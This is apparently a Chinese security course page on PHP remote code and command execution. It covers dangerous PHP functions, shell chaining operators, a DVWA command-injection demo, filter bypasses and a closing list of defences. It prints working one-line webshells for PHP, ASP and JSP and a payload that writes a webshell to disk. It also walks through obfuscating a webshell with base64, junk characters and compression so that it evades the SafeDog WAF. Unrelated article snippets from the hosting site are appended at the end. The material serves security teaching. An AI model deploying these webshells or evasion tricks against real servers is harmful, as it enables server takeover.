RCE漏洞
一、课程知识点
1、远程代码执行漏洞原理与利用
2、常见的代码执行函数
3、常见的命令执行函数
4、常见的绕过姿势
5、命令执行漏洞防范
二、技术目标
1、掌握命令执行漏洞的原理
2、掌握 PHP 命令执行和代码执行的相关函数
3、掌握常见的绕过姿势
4、掌握代码执行漏洞防御措施
三、课程内容
1. 什么是 RCE
RCE 又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或 者代码,从而控制后台系统(shell 服务器)。
RCE 可以细分为代码执行和命令执行。代码执行执行的是后端语言的代码,命令执行执 行的是系统的命令,直接对系统进行操作。
代码执行-Remote code execution 命令执行-Remote command execution
英文的单词首字母都是 RCE,所以这两个漏洞都被称为 RCE
- 代码执行:可通过 HTTP 请求让服务端执行服务端 WEB 代码的漏洞,通过服务端 WEB 代码也可以漏洞通常是由于代码执行函数(参数)引用了用户可控变量且未进行有 效过滤引起的。常用的一句实现服务端系统命令执行,此类一句话木马就是个人生 成的代码执行漏洞。
- 命令执行:可通过 HTTP 请求直接让服务端执行系统命令的漏洞,通常是由于系统命 令执行函数引用了用户可控变量且未进行有效过滤引起的。
此外,其他一些安全漏洞在利用过程中也可能导致远程命令执行,如文件包含漏洞、反 序列化漏洞等。
2. RCE 产生的原因
程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、简洁, 方便,但是也伴随着一些问题。如果我们开发的应用,特别是企业级的一些应用需要去调用一 些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。而应用在 调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中, 在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
总之,是对用户输入内容的过滤不完善,最终导致用户输入的恶意内容被执行。
3. 危险函数或触发方式
3.1 php 代码执行函数
eval()
eval( ) 函数把()中的字符串按照 PHP 代码来执行。该字符串必须是合法的 PHP 代码,且必须以 分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
一句话木马原型。虽然可以以函数的方式调用 eval(),但是 eval() 不是 PHP 的函数,是一种语 法结构,不能动态调用。在 eval() 执行的字符串要以分号结束。
a=$file=fopen("x.php","w") or die("false"); fwrite($file, "<?php @eval(\$ POST['cmd']);?>"); fclose($file);
代码示例:
<?php
$code = $ REQUEST['a'];
eval($code);
assert()
assert() 会将字符串当做 PHP 代码来执行。assert() 可以动态调用。高版本 PHP 中,assert() 被弃用。
代码示例:
$code = $ REQUEST['a'];assert($code);
create function()
create function():创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引 用。
<?php $a = 'phpinfo();';$b = create function("",$a);$b();?>
call user func()
调用回调函数。原型: mixed call user func ( callable callback[,mixedparameter [, mixed $… ]] )。 第 一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
<?php
$func = 'assert';$arg = "phpinfo();";call user func($func, $arg);
call user func array()
回调函数,参数为数组,可以传递多个参数给回调函数。返回回调函数的返回值。适用于动态函数调 用。
用法同上
<?php
$cmd=$ POST['cmd']; $array[0]=$cmd; call user func array("assert",$array); ?>
uasort() /sort()
uasort () 函数使用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果 成功则返回 TRUE,否则返回 FALSE。
<?php
$e= 'assert';$arr = array($ REQUEST['pass'],'phpinfo();');uasort($arr,$e)?>
preg replace()
preg replace() 函数执行一个正则表达式的搜索和替换。
preg replace(‘正则规则’,‘替换字符’,‘目标字符’)
执行命令和上传文件参考 assert 函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e 修饰符,则存在代码 执行漏洞。
preg replace(“/test/e”,$ POST[“cmd”],“jutst test”);
函数中第一个参数是正则表达式,e 是正则表达式的修饰符。
$code = preg replace('~i~', 'I', 'xiu');
$code = preg replace('~\[(.*)\]~e', '\\1', '[phpinfo()]'); echo $code;
array map()
为数组的每个元素应用回调函数。用于将回调函数应用于数组的每个元素。接受一个回调函数和一个 或多个数组。返回一个新数组,数组元素是回调函数应用于原始元素的结果。适用于转换或处理数组 元素。
代码示例:
$func = "assert";$arg[] = "phpinfo();";array map($func, $arg);
array filter()
array filter — 使用回调函数过滤数组的元素。array filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在结果的数组中。数组的 键名保留不变,适用于基于条件移除数组中的元素。
<?php $array[0] = $ GET['a'];array filter($array,'assert');?>
<?php
$cmd=$ POST['cmd'];
$array1=array($cmd);
$func =$ GET['aaa'];
array filter($array1,$func);
?>
此外,${}也可以执行代码(在双引号中倘若有${}出现,那么{}内的内容将被当做 php 代码块来执行。) 比如:
<?php
${phpinfo()};
?>
3.2 php 命令执行函数
system()
system:可以执行系统命令,并且将其输出
<?php
$code=$ GET['a'];
system($code);
?>
写入一句话木马 echo ^<?php @eval($ POST['cmd']);?^> > x.php
http://127.0.0.1/rce/a.php?a=echo ^<?php @eval($ POST['cmd']);?^> > x.php
其中 ^ 的作用是转义 <
passthru()
passthru :执行外部程序并且显示原始输出
<?php @passthru($ POST['cmd']); ?>
cmd=ipconfig 即可显示信息
exec()
这个函数有点特殊,他只输出最后一行
并且他的输出需要自己打印。(即用 echo 打印出来
<?php
echo exec($ POST['cmd']);
//echo "";?>
shell exec()
shell exec :通过
shell 执行命令并将完整的输出以字符串的方式返回
<?php echo "shell exec($ POST['cmd'])"; ?>
popen()/proc open()
该函数也可以将字符串当作 OS 命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函 数有两个参数。
<?php $cmd=$ POST['cmd'].">>1.txt"; popen("$cmd",'r'); ?>
$cmd 将文件查询结果放入 1.txt ,popen 将该文件赋予可读权限 在 linux 里,命令为 popen(“/bin/ls”,‘r’);
反引号 ``
[``]反引号里的东西也会被当成系统命令执行。whoami 可以直接执行
<?php echo `whoami` ?>
${}
${}也可以执行代码(在双引号中倘若有${}出现,那么{}内的内容将被当做 php 代码块来执行。)
<?php
${phpinfo()};
?>
除了 PHP 以外,再来看看其他开发语言常用的命令执行函数。 JSP 执行系统命令:
ASP 执行系统命令:
4 常见管道符
4.1 windows
- " | "
直接执行后面的语句(前面的语句是错是对无关紧要)
C:\Users\fwz>echo "1" | echo "2"
"2"
- " || "
如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
C:\Users\fwz>echo "1" || echo "2"
"1"
C:\Users\fwz>echoo "1" || echo "2"
'echoo' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
"2"
- " & "
两条命令都执行,前面的语句可真可假
C:\Users\fwz>echoo "1" & echo "2"
'echoo' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
"2"
C:\Users\fwz>echo "1" & echo "2"
"1"
"2"
- " && "
如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的
语句只能为真
C:\Users\fwz>echo "1" && echo "2"
"1"
"2"
C:\Users\fwz>echoo "1" && echo "2"
'echoo' 不是内部或外部命令,也不是可运行的程序 或批处理文件。
4.2 Linux
- " ; "
执行完前面的语句再执行后面的语句,如果前面的语句出错,则执行后面的命令
ping -c 4 127.0.0.1;ls
- " | "
显示后面语句的执行结果(前面的语句无论对错) ping -c 4 127.0.0.1 | ls
- " || "
当前面的语句执行出错时,执行后面的语句
ping -c 4 127.0.0.1.1 || ls
- " & "
两条命令都执行,前面的语句可真可假 ping -c 4 127.0.0..1.1 & ls
- " && "
前面的语句为真才能执行两条命令,否则都不执行
5 命令执行漏洞演示
以 DVWA 平台 low 安全等级为例,我们来看看这个漏洞的具体成因,漏洞页面如下:


如上图,输入 IP 地址,点击 Submit,就会执行 ping 命令。查看后端代码:


分析上图代码,首先通过 php uname('s')读取操作系统名,与'Windows NT'对比,判断 是不是 Windows 系统。如果是 windows 系统,则通过 shell exec()函数执行 ping 命令。如 果不是,则判断为 Linux 系统,执行 ping -c 4 命令(因为 Linux 系统如果不指定发包数, 就会一直 ping 下去)。可以看到,这里并没有对输入的'ip'参数做任何过滤,因此存在命令 执行漏洞。在Windows和Linux中,我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig , 结果如下:




Ipconfig 命令被一并执行了,并且成功返回结果。这就是一个简单的命令执行漏洞,如 果 web 应用为 root 权限,我们还可以执行创建用户等各类操作。
在上面的例子中,我们使用&作为连接符,实现同时执行多条命令。下面介绍几种系统常 用的命令连接符。
6 一些通用的绕过姿势
6.1 空格被限制
可以用以下字符串代替:
< -- 重定向,如 cat<flag.php
<>
%09
-- 重定向,如 cat<>flag.php
-- 需要 php 环境,如 cat%09flag.php
${IFS} -- 单纯 cat$IFS2,IFS2 被 bash 解释器当做变量名,输不出来结果,加一个{}就固定了变量 名,如 cat${IFS2}flag.php

$IFS$9 -- 后面加个$与{}类似,起截断作用,$9 是当前系统 shell 进程第九个参数持有者,始终 为空字符串,如 cat$IFS2$9flag.php
#cat flag
flag{hell0 W0rld}

6.2 黑名单绕过
- 拼接


- 单引号和双引号绕过

- 反斜杠绕过


- 编码(base64)

- 编码(hex)

- 空变量绕过
┌──(root㉿kali)-[/home/fwz]
└─# cat fl$@ag


flag{hell0 W0rld}
6.3 代码执行中函数被过滤
比如存在 eval(),我们想借助这个去转到命令执行来获取 flag 或者是进一步获取系统的操作权限, 但是关键的命令执行函数 system()等被过滤
- 反引号绕过
也称之为内敛执行。在权限足够的情况下,php 中的反引号可以直接执行系统命令


7 过狗一句话原理与利用
在之前的文件上传漏洞中就有介绍过木马文件,通过上传木马文件实现远程连接从而进 行远程控制操作。利用上传文件漏洞上传木马文件过程中,可能会遇到服务端对上传文件后 缀、文件名、文件格式以及文件内容等进行检测过滤,从而导致木马文件上传失败。如今存 在很多过滤机制与安全产品能够实现网站上传保护,比如安全狗。因此,学习如何绕过这些 保护机制成功上传木马文件是至关重要的。在下面的学习中我们称之为过狗一句话,该名称 源于绕过安全狗的检测机制成功过上传一句话木马文件。
在学习过狗一句话之前,需要先学习一句话木马的原理与利用,将一句话木马剖析清楚 后有利于对过狗一句话原理的理解。
7.1 一句话木马
WEBSHELL 又称网页木马文件,根据开发语言的不同又分为 ASP 木马、PHP 木马、JSP 木 马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服 务器被脚本引擎解析,攻击者就可以实现对服务器的控制。
一句话木马因其短小精悍不易被过滤又能与中国菜刀等工具配合使用的优势,成为了业 界最使用的 WEBshell 类型。根据不同开发语言,一句话木马的构造语法不同,下面介绍三种 开发语言的一句话木马写法:
- PHP 一句话木马:
<?php @eval($ POST['v']);?> - JSP 一句话木马:
<%if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("\\")+request.getParame ter("f"))).write(request.getParameter("t").getBytes());%>
- ASP 一句话木马:
<% eval request("v")%>
成功上传一句话木马文件后,通过工具进行远程连接 get webshell,比如菜刀和蚁剑:

下面分别介绍下各类开发语言的木马语句构造原理:
- PHP 木马
语法:<?php @eval($ POST['v']);?>
原理:eval()函数会将参数作为 PHP 代码进行执行,因此通过 eval()函数中的参数 v 提 交要执行的代码即可完成漏洞利用。语句中的@符号作用是可以屏蔽函数执行过程中遇到问题 而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。如此一来,即使$ POST[] 变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外,更重要的是安全性, 因为屏蔽了出错文件的路径等信息。
成功上传一句话木马文件后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现 任意命令执行,通过 v 参数传入命令执行函数 system(),执行 system()函数中的系统命令:
- ASP 木马
语法:<%eval request("cmd")%>
原理:eval 函数会将参数作为 ASP 代码进行执行,因此通过参数 cmd 提交要执行的代码 即可完成漏洞利用。木马文件成功上传后可以直接用菜刀或蚁剑连接,也可以访问文件上传 路径实现任意命令执行。注意语句中利用的是 request()函数,此函数能够接收 GET 方式和 POST 方式传入的参数,因此传入参数时可以直接在 URL 中构造语句,传入 cmd 参数如下图,
上图中的系统命令 ipconfig 运行结果显示页面如下:
- JSP 一句话木马 语法:
原理:JSP 一句话木马可以向网站提交任意 JSP 代码并生成脚本文件。上述代码中的 request.getParameter("f")获取到参数 f 的值作为创建的文件名,然后调用 write 往创建的 文件中写入 request.getParameter("t")获取到的参数 t 的值作为文件内容。
在火狐构造 post 表单参数,因为是 request 接收所以不论 post 还是 get 服务端都能够 获取到参数值。表单发送后,发现服务端真的创建了 1.txt 文件,并且文件内容就是 hello。
6.2 过狗一句话
单从 php 一句话木马语法上理解,如<?php @eval($ POST[‘pass’])?>,首先$ POST 会获取 post 到服务器的参数名 pass 数据,然后 eval 会将$ POST 获取的字符串按照 php 语
法进行解析,这样我们通过各种 php 函数的组合使用就能通过中国菜刀等工具对服务器的文 件进行操作,这也就是常见一句话的工作原理。
通常,过狗一句话是过滤或者屏蔽一些敏感字眼或敏感函数以此来阻止木马文件中的恶 意代码被执行,比如 eval()函数和 assert()函数等。因此过狗一句话重点就在于如何将 eval
函数绕过安全狗等安全产品的过滤与检测,最终在服务端仍然执行恶意代码并实现远程连接。 举例一种最简单的绕过方式,就是将 eval 字符作为另一个参数传入,如下锁好是:
此时在火狐 post 数据提交处输入 cmd=eval&pass=123 便可构成一句话木马。
或者将 assert 字符串通过拼接方式利用:
通过字符拼接符将 assert 隔开绕过过滤检测,但是此方法只适用于 assert 函数,对于 eval 函数来说不可行,eval 字符隔开后再拼接无法生效,没办法正常执行语句,因此这个方 法局限于 assert 函数的一句话木马绕过。
上面介绍的两种简单绕过方法都有一定的局限性,因此我们需要学习更为规范的通用的
过狗一句话。一般来说,通用的过狗一句话常要用到三个函数:
- str replace('aa','a',$a); //1.被替换内容 2.用作替换内容 3.替换的内容
- base64 encode();
- base64 decode();
//加密
//解密
过狗一句话听起来很复杂,但主要思路就是对一句话中的危险的回调函数 assert 等进行 base64 加密然后插入随便字符,然后用 str replace()函数替换,绕来绕去还是替换成 assert($ POST["v"]);的 base64 加密,然后在解密,就可以了。
整体的 Byass 思路:
根据网站开发语言准备对应的一句话木马,对一句话中的敏感字眼/敏感函数进行base64 编码,在编码后的语句中插入混淆字符,然后再次对其进行 base64 二次编码。对这串字符串 进行压缩处理为了不易别发现,解压后进行 base64 解码处理,接着清除混淆字符后进行二次 解码,最后进行数据拼接完成一句话木马。
6.3 过狗一句话案例
按照上述思路重新编写一句话木马,如下图所示案例:
接下来我们一句句分析上述过狗一句话代码的编写思路:
- 准备好普通的一句话:
- 对其中的危险性函数 assert 进行 base64 编码并加入混淆字符 thinking 和 JoeVatte:
- 对 YXNthinkingzZXJoeVatteJ0 再次 base64 编码:
- 对上述代码使用 gzdeflate()对数据进行压缩:
- 使用 base64 decode 和 gzinflate 进行嵌套,先解压缩再进行 base64 解码,再把值 传入变量中(1-5 的步骤主要是做了 混淆处理)到这一步变量的值 已经转回: YXNthinkingzZXJoeVatteJ0:
- 定义函数 cl()将 YXNthinkingzZXJoeVatteJ0 中的混淆字符替换为空并进行 base64 解码最终转化为 assert:
str replace($step 2,$step 1,$data);的意思是在,$data 数据里面寻找$step 2 数组里的数据,并使用$step 1 数组的数据进行替换,且替换是数组中位置一一对 应的。处理后得到的是 YXNzZXJ0,再使用 base64 解码下就得到 assert,并把 assert 返回到调用函数的位置。
- 经 过 函 数 的 处 理 (cl) 后 cl($data) 返 回 的 值 为 assert , 然 后 进 行 拼 接 , 得 到
$a(@$ POST['cmd']);
实际上经过 1-7 的操作后最终获得:$a(@$ POST['cmd']); == assert(@$ POST['cmd']);
8 命令执行漏洞防范
1、 尽量少用执行命令的函数或者直接禁用;
system()、assert()、shell exec()、passthru()等命令执行函数。
2、 尽量不要执行外部命令;
尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval 等 命令执行功能的函数前,要确认参数内容。
3、 使用自定义函数或者函数库来代替外部命令的功能;
4、 参数值尽量使用引号包括,并在拼接前调用 addslashes 函数进行转义;
5、 在使用动态函数之前,确保使用的函数是指定的函数之一;
6、 在进入执行命令的函数方法之前,对参数进行过滤,对敏感字符进行转义;
7、 使用 safe mode exec dir 执行可执行的文件路径;
将 php.ini 文件中的 safe mode 设置为 On,然后将允许执行的文件放入一个目录,并使 用 safe mode exec dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序 时,程序必须在 safe mode exec dir 指定的目录中才会允许执行,否则执行将失败。
8、 对于可控点是程序参数的情况下,使用 escapeshellcmd 函数进行过滤,对于可控点是程 序参数值的情况下,使用 escapeshellarg 函数进行过滤。escapeshellarg 函数会将用户 引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“’”,双引号“"” 会被转义为“"”,分号“;”会被转义为“;”,这样 escapeshellarg 会将参数内容限 制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执 行进行截断,实现防范命令注入攻击的目的。
相关文章:
RCE漏洞
一、课程知识点 1、远程代码执行漏洞原理与利用 2、常见的代码执行函数 3、常见的命令执行函数 4、常见的绕过姿势 5、命令执行漏洞防范 二、技术目标 1、掌握命令执行漏洞的原理 2、掌握 PHP 命令执行和代码执行的相关函数 3、掌握常见的绕过姿势 4、掌握代码执行漏洞防御措施…...
在开发嵌入式系统时,尤其是处理大数时,会遇到取值范围的问题。51单片机通常没有内建大整数支持,因此我们需要采用不同的方法来解决这一问题
00 两种可行方法分别是: 使用数组存储每一位数据并进行进位运算:通过将大数按位拆分成数组,然后实现逐位加法、进位等操作。使用符号变量进行计算:将数值分成低位和高位,分别用符号变量进行计算。 01:使用…...
【Compose multiplatform教程20】在应用程序中使用多平台资源
为项目设置资源后,生成项目以生成提供资源访问权限的特殊类。要重新生成类和所有资源访问器,请再次生成项目或在 IDE 中重新导入项目。ResRes 之后,您可以使用生成的类从您的代码或外部库访问配置的多平台资源。 自定义访问器类生成 您可以使…...
深入浅出:从入门到精通大模型Prompt、SFT、RAG、Infer、Deploy、Agent
阅读原文 渐入佳境 我们都知道,通过编写一个提示词(prompt),我们可以引导大模型生成回答,从而开启愉快的人工智能对话,比如让模型介绍一下卡皮巴拉。上边简图描述了这个过程,我们拆成两部分 pr…...
紫光同创-盘古200pro+开发板
本原创文章由深圳市小眼睛科技有限公司创作,版权归本公司所有,如需转载,需授权并注明出处(www.meyesemi.com) 一、开发系统介绍 开发系统概述 MES2L676-200HP 开发板采用紫光同创 logos2 系列 FPGA,型号:…...
iOS 中的 nil、Nil、NULL、NSNull 僵尸对象和野指针
iOS 中的 nil、Nil、NULL、NSNull 僵尸对象和野指针-CSDN博客 类型含义使用场景示例nil表示一个指向 Objective - C 对象的空指针。在 Objective - C 和 Swift(与 Objective - C 交互时)中用于表示对象不存在。当一个对象变量没有指向任何有效的对象实例…...
【优选算法】有效三角形的个数(双指针算法)
优质专栏:算法_云边有个稻草人的博客-CSDN博客 目录 【611. 有效三角形的个数 - 力扣(LeetCode)】 解法一: 解法二: 【611. 有效三角形的个数 - 力扣(LeetCode)】 解法一: 三层for…...
中介者模式(Mediator Pattern)、桥接模式(Bridge Pattern) 和 策略模式(Strategy Pattern)
中介者模式(Mediator Pattern)、桥接模式(Bridge Pattern) 和 策略模式(Strategy Pattern) 都是常见的设计模式,它们解决不同类型的问题。我们将通过 Swift 示例来说明它们的使用场景࿰…...
客户案例:基于慧集通打通聚水潭电商ERP与用友U8系统集成之路
一、引言 本原型客户是 生物科技公司,其公司系列抗菌抗病毒产品广泛应用于医疗用品、纺织服饰、家纺用品、母婴护理、女性用品、个人防护等多个领域。在知识产权方面,公司在专业领域已获得商标和专利近百项,创新能力得到了国家及行业内普遍认…...
阿里云clb是什么
传统型负载均衡服务 阿里云CLB(Classic Load Balancer)是阿里云提供的一种传统型负载均衡服务,主要用于将访问流量根据转发策略分发到后端多台云服务器。 CLB的定义和功能 CLB是一种流量分发控制服务,通过设置虚拟服务地…...
【Cursor编辑器】自用经验和实操(迭代更新)
1.启动composer crtl I 2.生成直接一直问加载 3. 实操 生成个知识图谱,使用csv文件里面的数据创关系和节点。...
【学习笔记】ChatGPT原理与应用开发——基础科普
HuggingLLM(ChatGPT原理与应用开发) 原文链接:HuggingLLM(ChatGPT原理与应用开发)-课程详情 | Datawhale 此处仅为学习记录和总结 1:基础科普 1.1:自然语言背景 图灵测试 如果一个人&#x…...
基于Web的实验中心工作管理网站的设计与实现
写作任务 一、课题背景 实验中心承担了全校计算机公共基础课程和学院专业课程,需要对实验中心工作进行有效的管理。 二、课题任务 本课题设计和实现实验中心工作管理系统。 系统的主要内容包括: (1)人员管理; &am…...
docker 安装minio
docker pull minio/minio #启动 mkdir -p /root/minio/config mkdir -p /root/minio/datadocker run -d \--name minio \-p 9002:9000 \-p 9001:9001 \--restartalways \-v /root/minio/data:/data \-v /root/minio/config:/root/.minio \-e "MINIO_ACCESS_KEYminioadmin…...
ubuntu下ipmi的使用(4028)
参考ubuntu系统下配置IPMI_ubuntu ipmi-CSDN博客 参考:ipmitool ubuntu 安装_ipmi centos ubuntu使用总结-CSDN博客 1.安装 sudo apt-get -y install ipmitool 2.加载 modprobe ipmi_msghandlermodprobe ipmi_devintfmodprobe ipmi_si 3.使用,查看不到的话&am…...
周记-唐纳德的《计算机程序设计艺术》
用代码生成代码 开发一个协议,字段有些多,每个字段是QT的属性,需要写Q_PROPERTY,一个一个编辑的话比较繁琐,耗费时间。后来就用代码生成了头文件和源文件,get和set还有signal函数,内容基本都是…...
极品飞车6的快捷键与车辆等级
极品飞车,英文全称为Need for Speed,是EA公司于1994年开始研发的赛车类竞技游戏。从1996年的《极品飞车-特别版》、2002年的《极品飞车:闪电追踪2》、2005年的《极品飞车:地下狂飙2》、到2024年《极品飞车:集结》,是70后、80年、90年等几代人…...
计算机毕业设计Python+知识图谱大模型AI医疗问答系统 健康膳食推荐系统 食谱推荐系统 医疗大数据 机器学习 深度学习 人工智能 爬虫 大数据毕业设计
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
纯真社区版IP库CZDB数据格式使用教程
1. 概述 纯真社区版IP库是一种免费且公开的IP地理位置数据库,主要面向非商业用途。其最新推出的CZDB格式是一种全新的数据文件格式,自2024年10月起将成为官方维护和更新的唯一版本。该格式支持同时存储IPv4和IPv6地址信息,具备以下优点&…...
Linux(Centos 7.6)软件包安装
Linux软件安装,常见的有三种方式,rpm方式、yum方式、源码编译安装方式。其中rpm方式可能存在依赖方式,可能会比较麻烦;源码编译安装同样可能会缺少一些编译需要的软件需要安装,也会比较麻烦;相对比较好的方…...
后进先出(LIFO)详解
LIFO 是 Last In, First Out 的缩写,中文译为后进先出。这是一种数据结构的工作原则,类似于一摞盘子或一叠书本: 最后放进去的元素最先出来 -想象往筒状容器里放盘子: (1)你放进的最后一个盘子(…...
使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...
【Java学习笔记】Arrays类
Arrays 类 1. 导入包:import java.util.Arrays 2. 常用方法一览表 方法描述Arrays.toString()返回数组的字符串形式Arrays.sort()排序(自然排序和定制排序)Arrays.binarySearch()通过二分搜索法进行查找(前提:数组是…...
MVC 数据库
MVC 数据库 引言 在软件开发领域,Model-View-Controller(MVC)是一种流行的软件架构模式,它将应用程序分为三个核心组件:模型(Model)、视图(View)和控制器(Controller)。这种模式有助于提高代码的可维护性和可扩展性。本文将深入探讨MVC架构与数据库之间的关系,以…...
华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
华为云FlexusDeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色,华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型,能助力我们轻松驾驭 DeepSeek-V3/R1,本文中将分享如何…...
自然语言处理——循环神经网络
自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元(GRU)长短期记忆神经网络(LSTM)…...
Java面试专项一-准备篇
一、企业简历筛选规则 一般企业的简历筛选流程:首先由HR先筛选一部分简历后,在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如:Boss直聘(招聘方平台) 直接按照条件进行筛选 例如:…...
学校时钟系统,标准考场时钟系统,AI亮相2025高考,赛思时钟系统为教育公平筑起“精准防线”
2025年#高考 将在近日拉开帷幕,#AI 监考一度冲上热搜。当AI深度融入高考,#时间同步 不再是辅助功能,而是决定AI监考系统成败的“生命线”。 AI亮相2025高考,40种异常行为0.5秒精准识别 2025年高考即将拉开帷幕,江西、…...
MySQL的pymysql操作
本章是MySQL的最后一章,MySQL到此完结,下一站Hadoop!!! 这章很简单,完整代码在最后,详细讲解之前python课程里面也有,感兴趣的可以往前找一下 一、查询操作 我们需要打开pycharm …...
WebRTC调研
WebRTC是什么,为什么,如何使用 WebRTC有什么优势 WebRTC Architecture Amazon KVS WebRTC 其它厂商WebRTC 海康门禁WebRTC 海康门禁其他界面整理 威视通WebRTC 局域网 Google浏览器 Microsoft Edge 公网 RTSP RTMP NVR ONVIF SIP SRT WebRTC协…...
